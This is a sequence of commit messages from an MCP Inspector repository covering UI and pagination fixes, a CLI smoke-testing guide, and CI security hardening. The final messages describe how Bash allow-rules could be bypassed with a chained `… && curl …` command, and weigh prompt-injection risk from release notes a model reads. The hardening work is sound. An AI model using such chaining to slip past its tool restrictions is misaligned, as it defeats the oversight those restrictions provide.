`BaseOAuthClientProvider.saveClientInformation` treated every save without an
explicit `registrationKind` as DCR. The SDK reaches it from three places in
`auth()` and only one is a dynamic registration, so the issuer-binding write
overwrote the `cimd` provenance our own pre-registration had just stored — and
Connection Info reported `Dynamic (DCR)` for a connection that never issued a
`POST /oauth/register`.
Recover the kind instead: a `client_id` equal to the configured
`clientMetadataUrl` is CIMD (which also covers the SDK's own CIMD write), and
otherwise a stored registration with the same `client_id` carries its recorded
kind forward. Matching on `client_id` keeps stale CIMD provenance from leaking
onto a later DCR registration for the same server.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Lmj6X2epWpPE7ScdSKQmtA
Signed-off-by: cliffhall <cliff@futurescale.com>
The Tools tab rendered every schema-portability finding, always open, above
the argument form. On a server whose schemas are broadly unportable that put
the same wall of text ahead of every tool's first input — and the findings
address the server author, not the caller trying to fill the form.
The section now opens collapsed behind the same disclosure heading the Skills
pane's Conformance section uses, with an `N error(s), M warning(s)` badge. The
expand choice is global rather than per tool (`useSchemaFindingsExpanded`,
stored as `inspector.schemaFindings.expanded`): this panel is reused across
selections, so a per-tool disclosure would re-collapse on every click and
reproduce the same scrolling. The badge stays visible while collapsed and the
tool-list severity icon is untouched, so nothing about a tool's standing is
hidden by the closed state.
Two neighbouring fixes on the same panel:
- `JsonEditor` frames Ace in a bordered `Paper`. Ace paints its background edge
to edge with nothing around it, so "Edit as JSON" replaced a column of
bordered inputs with one borderless slab.
- `ToolDetailPanel`'s body `ScrollArea` overrode the app-wide `type="scroll"`
default with `type="auto"`, parking a permanent bar down the side of any tool
whose form is taller than the panel. `offsetScrollbars` stays, so the form
does not shift sideways when the bar fades in.
`test-servers/configs/unportable-schemas-many-http.json` reproduces the
original complaint: the same four presets as `unportable-schemas-http.json`
carrying 26 findings rather than 5.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DU3QYnc95g6EM4vo3hYNet
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 2. The First-run behavior section said the backend
writes the seed file "when the backend boots". It does not: the write lives
in the `GET /api/servers` handler
(`core/mcp/remote/node/server.ts`), so a backend that boots and never
serves the list leaves the path untouched.
Verified against a prod build with an isolated `MCP_CATALOG_PATH`:
after boot + GET / : catalog ABSENT
GET /api/servers : 200
after GET /api/servers : catalog EXISTS
The section now says so, and picks up two adjacent facts the old wording
also left out: the write happens inside the write lock (so a concurrent
POST/PUT/DELETE cannot be clobbered), and a read-only `--config` source is
never seeded.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012x3rC3JXU17aW3uSwjPoi5
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1. `specification/` is a maintained design record, not a
historical one, so a shipped change to the seed set belongs in it.
Two statements were stale and are now accurate:
- **First-run behavior** said the backend writes "the two current
`SEED_SERVERS`" — a reference to the `App.tsx` constant this design
replaced. It now names `DEFAULT_SEED_CONFIG`, records that the set is three
as of #2201, and points at `core/mcp/serverList.ts` as the source of truth
for the contents rather than restating them; a second copy of a list is what
goes stale.
- The API sketch's `// the two existing seeds` comment is likewise corrected.
Its `export function DEFAULT_SEED_CONFIG` is fixed to `export const` on the
same line — it is a `const`, and leaving a known-wrong signature on a line
being edited for accuracy is worse than the one-word fix.
The On-disk format block is deliberately unchanged: it illustrates the file
*shape*, not the seed set, and already carries a `streamable-http` entry
(`acme-api`) alongside the two stdio ones.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012x3rC3JXU17aW3uSwjPoi5
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds a third entry to `DEFAULT_SEED_CONFIG`, `example-server-default`, a
Streamable HTTP card pointing at the MCP org's own feature-reference server
(https://example-server.modelcontextprotocol.io/mcp). Until now every seeded
server was a local stdio process and every remote example in the docs was a
placeholder, so trying a remote connection meant finding or standing up a
server first.
The endpoint is protected by OAuth, but its authorization server advertises
Dynamic Client Registration and fronts a *mock* upstream IdP, so the whole
round trip completes with no account, no API key and no pre-registered client
— which is what makes it viable as a shipped default. Verified end to end
against a prod build: the card connects, negotiates MCP 2025-11-25 and lists
the reference server's tools.
The seed carries no `protocolEra`. That is not a default-by-omission: the
server answers the plain `initialize` handshake and rejects `server/discover`,
so it has no modern (SEP-2663) era to negotiate — `"auto"` would only buy a
failed probe and `"modern"` would fail the connection outright.
Docs updated alongside: the seeded-catalog block and per-client table in
`docs/mcp-server-configuration.md`, the Streamable HTTP example there (which
now leads with the live endpoint and keeps a placeholder to illustrate
`headers`), and the seed description in `clients/launcher/README.md`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_012x3rC3JXU17aW3uSwjPoi5
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot on #2281: the option's contract said an unregistered URI is ignored,
but `withDuplicateResources` runs on the assembled list, which also carries
whatever a resource template's `list` callback contributed — so a
template-listed URI was duplicated in contradiction of its own doc.
Broadened rather than restricted, because scoping it to `registeredResources`
would leave half the surface unreproducible: both kinds of entry land in the
same Resources sidebar list and collide on the same React key. The contract now
says so on `ServerConfig.duplicateResourceUris` and on the config-file mirror,
and an integration case covers a template-listed URI — it fails if the override
is narrowed to `state.registeredResources`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018yVgAJz4wpkS4mkGk7DQnp
Signed-off-by: cliffhall <cliff@futurescale.com>
Ink writes styling as escape sequences inside the styled run, so an
accelerator underline splits the word it decorates: `<Text underline>I</Text>nfo`
reaches the frame buffer with escapes between `I` and `nfo`, and a plain
`toContain("Info")` fails against a component that is rendering correctly.
Chalk only emits color when it detects a TTY, so CI stays green and the six
failures land only on a developer whose shell exports FORCE_COLOR.
Add `__tests__/helpers/renderTui.tsx` — ink-testing-library's `render` with
`lastFrame()` and `frames` ANSI-stripped — and point all 16 renderer test
files at it. `frames` is a getter reading through to the live array, since
Ink appends to it as the component re-renders; the raw bytes stay reachable
as `stdout.lastFrame()`.
Pinning FORCE_COLOR=0 would turn the six green while hiding the class: any
future assertion on styled text has the same problem, and the suite would
stop covering the styled path at all.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MFp2LVH7UJST5i8bDBJghw
Signed-off-by: cliffhall <cliff@futurescale.com>
The Resources sidebar keyed every row on its `uri` (and templates on
`uriTemplate`), but nothing in MCP makes those unique — a server may return
the same URI twice, and `ManagedListState.applyItems` replaces the list
wholesale, so a repeat is what the server actually sent. React logged
`Encountered two children with the same key` on every render, and a
filtered-out row survived reconciliation instead of unmounting.
This is the resources counterpart of #1957. The row identity is now the same
`listRowKey(id, sourceIndex)` the Tools sidebar has used since then, extracted
so the two formats cannot drift; `toolRowKey` delegates to it. Applied to all
three Resources lists and to `RootsTable`, whose user-maintained list can
collect a duplicate URI the same way.
Selection stays keyed on the URI, deliberately: unlike a duplicated tool name
(#2001), duplicate rows here denote the same resource — a `resources/read`
takes the URI — so highlighting both is correct. Only the React key needs to
tell them apart.
Adds `ServerConfig.duplicateResourceUris` and the
`duplicate-resource-uris-http.json` showcase config, the `resources/list`
mirror of `duplicateToolNames`, so the defect has a fixture to reproduce it —
appended rather than adjacent, for the reason #1957 documented.
Closes#2206
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018yVgAJz4wpkS4mkGk7DQnp
Signed-off-by: cliffhall <cliff@futurescale.com>
`declaresAnyFields` decides whether a tool is auto-invoked with `{}` or asked
about, and it counts a required name a schema never declares — so the #2224
check making such a union render nothing must not be read as "no arguments".
Nothing changed here; the invariant just had no test of its own.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PxYT4eKdnx1yRw7x4bW7Ts
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot round 7. The copyable job inherited the repository's default
GITHUB_TOKEN scopes and left that token in the runner's git config while
`npx` executed a package downloaded from npm.
Adds `permissions: contents: read` and `persist-credentials: false`,
each with a comment giving its reason.
The review cited `.github/workflows/main.yml:11-18` as precedent for
both. It supports one: main.yml does set `permissions: contents: read`
at workflow level, for exactly the stated reason, and every workflow in
this repo carries a block. It does not support the other —
`persist-credentials` appears nowhere in .github/workflows. That half is
taken on its own merit rather than as convention: the job uses git for
nothing after checkout, so the credential is only attack surface while
third-party code runs.
Both matter more in this example than in a workflow we own, because it
is written to be copied into a repository whose defaults the reader
cannot see — which is now stated in the guide.
The edited block was parsed as YAML to confirm both keys land where
intended rather than eyeballing the indentation.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
Two findings, both real, both mine — and both found by a review round
requested after an explicit "approval recommended", which is the
argument for not stopping at one quiet round.
1. The guide said the `hasApp:false` case is reported "through exit code
2 rather than through a key". It is reported BOTH ways:
`{"appInfo":{"hasApp":false,"toolName":"echo"}}` with exit 2. This
was the round-3 fix over-correcting — that round established there is
no `result` key under --app-info, and I generalized it into "no key
reports this", which does not follow. Now documents both signals and
when each is the right one to branch on: the exit code short-circuits
an && chain without parsing, while the field is the only one of the
two that survives `tools/list --app-info`, whose NDJSON reports every
tool over one connection and exits 0 regardless.
2. §8 claimed "the CLI's own exit code propagates through set -e". It
does not. `pipefail` reports the RIGHTMOST non-zero status, so a
tools/call returning isError:true — which exits 5 and also falsifies
the assertion — surfaces as 1, and the §5 `case` block the guide
pointed at would print the catch-all instead of naming the tool
error. Verified: left=5/right=1 → 1; left=5/right=0 → 5; and the real
CLI piped into `jq -e '.result.isError != true'` → 1.
Added the status table and corrected §8 to say the job carries
pass/fail but not the class, with the capture-then-assert form as the
way to get it. Verified that form recovers exit 5 where the pipeline
reported 1, and that the happy path still passes.
Worth recording: the first attempt to reproduce finding 2 was itself
wrong — feeding jq invalid JSON made it exit on a parse error and the
pipeline returned 5, appearing to refute the claim. The controlled test
and the real CLI both confirm it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot round 4. The complete script created an empty isolated OAuth
store and then always passed --stored-auth-only, so against an
OAuth-protected server it could never authenticate — exit 3 by
construction — while being presented as the general "arbitrary MCP
server" template.
The two requirements are genuinely in tension: §6 wants isolation so a
run cannot read or rotate real tokens, and --stored-auth-only wants a
token to reuse. Round 2 made the isolation airtight without reconciling
that, which is what turned a latent gap into a guaranteed one.
Resolved by making credential provisioning explicit rather than by
scoping the script down to unauthenticated servers: it now takes a
bearer token from the CI secret store when MCP_TOKEN is set — the
approach §6 already recommends for unattended runs — and is unchanged
when it is not. Added a callout naming the tension, wired MCP_TOKEN
through the Actions job, and noted that a grant requiring genuine
interactive OAuth does not belong in a CI smoke test at all.
The conditional argument uses "${auth[@]+"${auth[@]}"}" because an empty
array is an unbound variable under `set -u` in bash before 4.4, and
macOS still ships 3.2 (verified locally). Documented why, so it is not
simplified into ${MCP_TOKEN:+--header "..."} — that form happens to
preserve its inner quoting in bash, but as a shell-specific subtlety a
reader cannot check rather than something the script states.
Verified against a live HTTP test server both ways: MCP_TOKEN unset and
MCP_TOKEN set to a value containing a space both pass all three
assertions. Argv construction checked directly — the header arrives as
one word with the token intact, and no empty argument is passed when the
variable is unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
Two findings, both real; the first was introduced by the round-2 fix.
1. The envelope table said `result` is present "Always". It is not:
`emitResult` returns early for `--app-info` and writes `{appInfo}`
alone, with no `result` key — in the `hasApp:false` case too, which
is signalled through exit code 2 rather than through a key. So a
consumer that requires `.result` breaks on every probe. Documented
as a distinct shape rather than a footnote on the table, since that
is what it is. Verified against the mcp-app-http fixture: keys are
["appInfo"] with --app-info for a tool with and without an app, and
["appInfo","result"] for the same tool called without it.
Worth noting this was self-inflicted — the table arrived in the
round-2 fix for `schemaFindings`, and stating a shape more precisely
is exactly where an over-broad "always" slips in.
2. The Actions job ran `./smoke.sh` while the guide never tells anyone
to chmod +x, and a file copied out of a code block does not carry the
mode bit. Now `bash smoke.sh`, with a comment saying why so it is not
tidied back. Verified: ./nonexec.sh fails with "permission denied",
bash nonexec.sh runs.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
`ManagedRequestorTasksState.refresh()` drives the legacy `tasks/list` walk
itself, and both of its cursor tests were truthiness checks — so the fixed
adapter was never reached. `while (cursor)` ended the walk on a `""`
`nextCursor`, leaving the user-visible task list on page one, and
`cursor ? [...this.tasks, ...page] : page` would have replaced the
accumulated list rather than extended it had the walk continued.
Both now test `=== undefined`. The other four paged/managed stores already
did (`pagedToolsState`, `pagedPromptsState`, `pagedResourcesState`,
`pagedResourceTemplatesState`, `pagedRequestorTasksState`,
`managedSkillsState`); this was the last walk on the truthiness side.
Covered by a new case in `managedRequestorTasksState.test.ts` that paginates
`"" → "c2" → end` and asserts the cursor each call received, so a walk that
terminated correctly but re-requested page one still fails. Reverting either
guard on its own fails exactly that case.
Reported by Copilot on #2277.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EN2UfrkQZvtrviMtqURRm4
Signed-off-by: cliffhall <cliff@futurescale.com>
Four distinct issues across 2 inline and 3 suppressed comments. All were
verified against the CLI's own code and behavior before being accepted;
one was diagnosed correctly but explained wrongly, and is documented as
it actually behaves rather than as the comment stated.
1. MCP_STORAGE_DIR alone is not isolation. MCP_INSPECTOR_OAUTH_STATE_PATH
is checked first, so an inherited value silently wins and a smoke run
still reaches the real token file — the guide documented that
precedence and then ignored it one paragraph later. Both variables are
now exported, in precedence order, in §6 and in the §8 script, with a
--list-stored-auth check that prints the path actually resolved.
Verified: with a poisoned MCP_INSPECTOR_OAUTH_STATE_PATH in the
environment, the two-line export wins.
2. `--format json` can carry a third top-level key. `emitResult` sets
`schemaFindings` whenever --strict is passed to tools/list and there
is at least one finding, so "that is the whole contract" was wrong.
Replaced with a table of all three keys and a note to parse by key.
3. --strict findings under --format json. The actionable half is right —
a JSON pipeline should read `schemaFindings` from stdout. The stated
mechanism is not: `writeSchemaLintReport` runs unconditionally, so
--format json --strict emits the full human report on stderr AND the
structured copy on stdout. Documented both streams as measured, with
a jq gate over the per-tool grouping. The `?` operators in that filter
are load-bearing: the key is absent on a clean run, and without them
jq errors instead of passing. Both arms verified.
4. The ErrorEnvelope snippet returned 0. `cmd || { … }` makes the brace
group's status the list's, so a successful jq turned a failed run
green — the same failure class the guide warns about twice elsewhere,
which makes shipping it worse. Now captures, reports, and exits with
the status; verified propagating exit 4.
The §8 script was re-run end to end against a live HTTP test server with
the added export and still passes.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
An MCP cursor is an opaque string: the spec constrains neither its content
nor its length, so `""` is a `nextCursor` a server may legitimately return
and the client is required to send back verbatim.
`listPrompts`, `listResources`, `listResourceTemplates` and
`listRequestorTasks` built their request params with `cursor ? { cursor } : {}`,
a truthiness check that cannot distinguish "no cursor" from "the cursor is
the empty string". Against a server that paginates with `""` they dropped it
and re-requested page one — a list that silently stops at the first page, or
a walk that loops on it forever. Nothing surfaced an error, because the
request was well-formed; it just asked the wrong question. `listTools` (and
the later `listSkills`) already used `cursor !== undefined`; this brings the
other four into line.
`getReplayableParams` in `protocolReplay.ts` existed partly to mirror the
asymmetry — its `method === "tools/list" || params.cursor !== ""` special
case collapses to `typeof params.cursor === "string"` now that the adapters
agree, and its long comment is updated rather than left describing a state
that no longer exists.
Coverage:
- `inspectorClient-list-cursor.test.ts` asserts the outbound params of all
five adapters — `""` carried, an absent cursor sending no `cursor` key,
a non-empty cursor forwarded unchanged. `listTools` is the control.
- `test-servers/configs/empty-cursor-http.json` (`emptyStringCursor`) hands
out `""` as the cursor for page two, the shape no other fixture produces,
and `empty-cursor.test.ts` walks all three of its lists end to end.
- Removing the fix from any one adapter fails exactly its two cases.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EN2UfrkQZvtrviMtqURRm4
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real.
1. The secret-scan snippet swallowed the CLI's exit code. `out=$(…)`
with no status capture means a non-matching `grep` returns 1, the
`if` is simply not taken, and the step exits 0 even though the tool
call failed — the scan silently becomes the only assertion. Under
`set -e` the opposite happens: the script dies at the assignment and
never scans the error output, which is exactly where a leaked
credential is most likely to appear. Now captures with `|| status=$?`,
scans, then propagates, with a callout explaining both failure modes.
2. `@2` is a major-version range, not a pin, and it was written directly
under a sentence claiming it pinned the version. Both occurrences now
use an exact published release (2.5.0, the current `latest`), and the
prerequisites note says outright that a range is not a pin. `--yes`
added to the prerequisite form so an unattended job cannot hang on
the first-run install prompt.
3. `--stored-auth-only` was described as failing when the store has no
token. It is a no-op against a server that never challenges — the
guide's own verification run passed with an empty store against a
non-auth server. Reworded to say exit 3 happens only when a challenge
cannot be satisfied, and added the way to actually assert that
authentication happened: one run with an isolated empty
MCP_STORAGE_DIR that requires exit 3.
Both corrected shell snippets were executed: secret+failure exits 1,
failure without a secret propagates exit 4.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds `docs/cli-smoke-testing.md` — a copyable connect → list → call →
assert workflow for testing an arbitrary MCP server from a shell or a CI
job, plus index rows in the root README and a pointer from the CLI
README.
The gap this fills is a user-facing one. `clients/cli/README.md` is a
flag reference and `scripts/smoke-cli.mjs` is an internal end-to-end
check of the launcher → CLI path; neither tells someone how to compose
those flags into a check they run on every commit against their own
server.
Covers, in order: connecting over stdio/HTTP/SSE (including the `--`
separator, which splits the opposite way under `--cli`); `--format json`
and its `{result[, appInfo]}` envelope; asserting a tool exists with
`jq -e`; one representative `tools/call` and the `--tool-arg` vs
`--tool-args-json` coercion difference; the exit-code map and how to
branch on it; keeping OAuth non-interactive with `--stored-auth-only`
and an isolated `MCP_STORAGE_DIR`; and negative assertions — refusals,
a secret-shape scan of captured output, and `--strict` schema
portability. Ends with a complete script and a GitHub Actions job.
Every command and output shape in the guide was verified against the
bundled composable test servers over both stdio and HTTP rather than
transcribed from the reference, which corrected three claims that would
otherwise have shipped wrong:
- `--tool-arg zip=012` does not send `12`. `012` is not valid JSON, so
it is sent as the literal string. The real trap is `zip=10001`, which
does coerce to a number and is then rejected by a string schema.
- `if ! cmd; then status=$?` yields `0`, because `!` inverts the
pipeline's status — every failure class would look identical. The
guide uses `|| status=$?` and says why.
- The sample script does not report a failure class on its own; that is
the opt-in `case` block from §5.
The §8 script was run end to end against a live HTTP test server, and
exits 0/3/4/5/6 were each reproduced against a real server.
Closes#1886
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KsKC3HniVF9dCZtDVbYp5B
Signed-off-by: cliffhall <cliff@futurescale.com>
`isOfferable` in `core/json/rootUnion.ts` checked that a merged branch carries
at least one property and that every property value is readable, but never that
each name in `required` resolves to a property a form can render. A branch like
`{ properties: { kind }, required: ["kind", "payload"] }` was therefore offered
in the picker, rendered no control for `payload`, and had the submit-time check
report it missing permanently — the exact dead end the function's own comment
already reasons through for a `false`-schema required field, one case short.
Judge the merge, so a branch requiring only names the ROOT declares —
`anyOf: [{ required: ["email"] }, …]` — stays offerable as before. `hasOwn`
rather than `in`, since an argument legally named `constructor` would otherwise
resolve through the prototype and read as declared.
Declining every branch of a union leaves the web form with neither a picker nor
a field, which is a different dead end. `SchemaForm` now seeds the raw-JSON
editor (#2151) in that one case — a root union that resolved to no branches and
no properties — so the arguments stay expressible. Seeded rather than forced, so
the switch still works, and re-seeded during render (never in an effect) because
the form is reused across tools rather than remounted. A tool that genuinely
takes no arguments is untouched. The TUI has no such editor; there the union is
simply not offered, which is already better than a section that can never be
submitted.
Adds a `record_shipment_by` preset and wires it into the
`root-union-schemas-http.json` showcase so the shape is reproducible by hand,
with docs/test-servers.md covering it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PxYT4eKdnx1yRw7x4bW7Ts
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 2 on #2273: the list endpoint pages at 30, so a large
review round would silently drop later comments — and a workflow whose whole
point is replying to every comment cannot be documented with a command that
returns only the first thirty. --paginate combines with --jq fine (only --slurp
does not), verified against a live review.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1 on #2273: the text said only a reply in the thread "can
resolve it", which is wrong — resolution is a separate act (the Resolve
conversation button, or the resolveReviewThread GraphQL mutation) and it is the
reviewer's to make. Reading it as satisfied by the documented REST reply is
exactly the wrong conclusion for a PR whose whole point is what a reply does.
State what the reply actually buys: it is the only thing a reviewer reading that
thread sees, and it is what makes resolving the thread defensible.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
pr-flow §8's "mirror each round at PR level" was being read as permission to
skip the inline reply, so the rollup got posted and the per-thread replies never
happened. A bullet elsewhere on the page cannot be connected back to the thread
it answers: the thread stays open showing a finding and silence, and by round
three matching bullets to comments is reconstruction rather than reading.
- AGENTS.md, "Responding to Code Reviews": says where the response goes, which
was the ambiguity being resolved the wrong way — inline in the comment's own
thread, with the rollup in addition, never instead.
- pr-flow §8 reorders the two so the primary is unmistakable, and keeps the
reason the mirror exists (threads go outdated once the fix is pushed) as a
rationale for it rather than an alternative to the inline reply.
- Both name the exception: a finding in the "Suppressed comments" block has no
comment id and so no thread to reply into, making the mirror its only home.
- §8 gains the two mechanics, so the easy path is not the only documented one:
the reply endpoint keyed by comment id, and fetching comments per review by
review id, since the unpaginated /reviews listing hides later rounds behind
your own replies.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 2 on #2272: a jq failure on an unexpected shape leaves n
empty, `[ "" -ge 1 ]` then exits non-zero, break never fires, and the loop
sleeps and retries forever — the same unbounded wait as the awk pipe, reached
from the other end. Verified locally: jq exits 5 and the test exits 1.
Propagate the jq failure, guard that n is numeric, and generalize the prose to
say every step which can fail exits rather than retries.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1 on #2272: piping the count through awk made awk's status
the loop's, so an auth or API failure read as a count of 0 and the job would
retry forever on a poll that can never succeed. The example also used sleep 20
against the 30s remote-API floor the same PR adds to AGENTS.md.
Capture the response first and exit non-zero on a gh failure; jq runs separately
because --slurp cannot be combined with --jq. sleep 30.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Agents routinely spend turns tight-polling for a condition that was already
going to notify them — ~80 consecutive no-op turns waiting out one local:gate
run on #2250, with a completion notifier for that very process already armed.
The convention existed only in a per-user memory note, which is invisible to
anyone else and cannot be relied on mid-session.
- AGENTS.md gains a "Waiting on long-running work" section: arm a notifier and
stop; one notification is a backgrounded command or a single `until` loop, many
is a Monitor. It states the one genuine exception — state the harness cannot
observe — and says where the poll belongs in that case, inside one backgrounded
loop rather than spread across turns.
- pre-push-gate points at it where the gate is actually run.
- pr-flow §7 points at it where the Copilot review is actually waited on, with
the loop written out. The count-not-existence trap is called out: on round two
the first round's review is still there, so `-ge 1` returns immediately.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 2 on #2271: `scripts/smoke-web-*.mjs` overclaimed —
smoke-web-app.mjs and smoke-web-browser.mjs create pages with no viewport at
all, so only the tabs and elicitation smokes back the number. Name those two
explicitly and say the other two set none.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1 on #2271:
- §5 covers the TUI as well as the web UI, but a TUI capture has no Playwright
viewport and no fullPage mode. §5a is now explicitly the browser path, with a
one-line TUI instruction (size the terminal so nothing wraps) that hands off
to §5b, which is retitled to say it applies to both.
- The claim that every existing shot was taken at 1280x900 was wrong —
specification/screenshots holds 1554x1374 and 3184x1516 among others. 1280x900
is now presented as the standard being adopted, grounded in the web smokes,
with the assorted older sizes named as the problem rather than the precedent.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
`/pr-flow` §5 said what to capture and where to put it, but nothing about the
viewport it is captured at — so screenshots clipped their contents, most
visibly the Monitor sidebar, and #2234 needed three full re-captures.
Split §5 into capture / read-back / upload, and add:
- A named capture size, 1280x900 full page — the viewport the web smokes
already use, so shots are comparable across PRs.
- The trap that widening the window does not widen the Monitor sidebar, with
both levers: seeding `inspector.monitor.width` before load, or driving the
ARIA separator with ArrowLeft.
- A no-clipping read-back before uploading.
- The crossfade wait and the focus-marking mechanic, previously unwritten.
The upload mechanics are unchanged, just moved under §5c.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Two unrelated things, both touching the same security notes.
## Round 6 findings
1. The credential scan ran too late to be a backstop. The analysis was
uploaded as an artifact and only scanned in the posting job — but this
repo is public, so an artifact holding a verbatim credential is
downloadable for its whole retention window. Refusing to POST text
that has already left the job refuses nothing. The scan now gates the
WRITE, in the same step that writes `analysis.md` (not two steps: a
failure between a passing scan and a separate write would leave the
file for the upload to collect), and the upload is gated on
`hashFiles('analysis.md')`. The posting job scans again, since the
artifact is the boundary and each side should check what it handles.
2. The permissions test failed open on the input it existed to catch.
GitHub accepts the shorthand `permissions: write-all`, and
`Object.entries("write-all")` iterates the string's CHARACTERS — so
the scan for a `write` value found nothing and the test passed green
while the model held every scope. It now rejects a non-mapping
outright and asserts the exact value.
3. (Suppressed.) The security prose in AGENTS.md still described the
same-job, environment-variable handoff that two rounds had already
replaced. Rewritten around the two boundaries the write-up actually
crosses now. Worth noting the pattern rather than just the instance:
this was the third round running in which I changed the mechanism and
left the prose describing the previous one, and stale security prose
is worse than none — the next person preserves properties the code no
longer has.
## Closing #2269
Filed during round 3 to replace the long-lived ANTHROPIC_API_KEY with
workload identity federation. Closed as not planned, because the threat
model behind it does not hold.
Every round escalated on "the model reads UNTRUSTED upstream release
notes" and I accepted that framing without checking it. Both upstreams
this sweep watches — modelcontextprotocol/typescript-sdk and
modelcontextprotocol/ext-apps — are in this repository's own org, with
release notes written by the same maintainer group. That is first-party
content, and anyone able to plant an injection in it already holds
release rights here.
Federation was reachable, so this is a judgement rather than a
capitulation: issuers and rules are creatable via
`client.beta.organization.federation.*`, and for GitHub Actions the
issuer is the standard token.actions.githubusercontent.com with JWKS
discovery. But those endpoints reject plain API keys and need an
`org:admin` OAuth token, making it org-admin work on the Anthropic
organization — disproportionate against our own changelogs.
The assessment is recorded rather than deleted. AGENTS.md and the
workflow comment now state the residual channel AND what makes it
acceptable, so pointing this at an upstream outside the org, or at
third-party content, is a documented trigger to re-open the question.
Mutation-checked, each failing a different set:
permissions: write-all on analyze -> no model runs in a job that can write
upload re-gated on structured_output -> the scan-ordering test
62 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
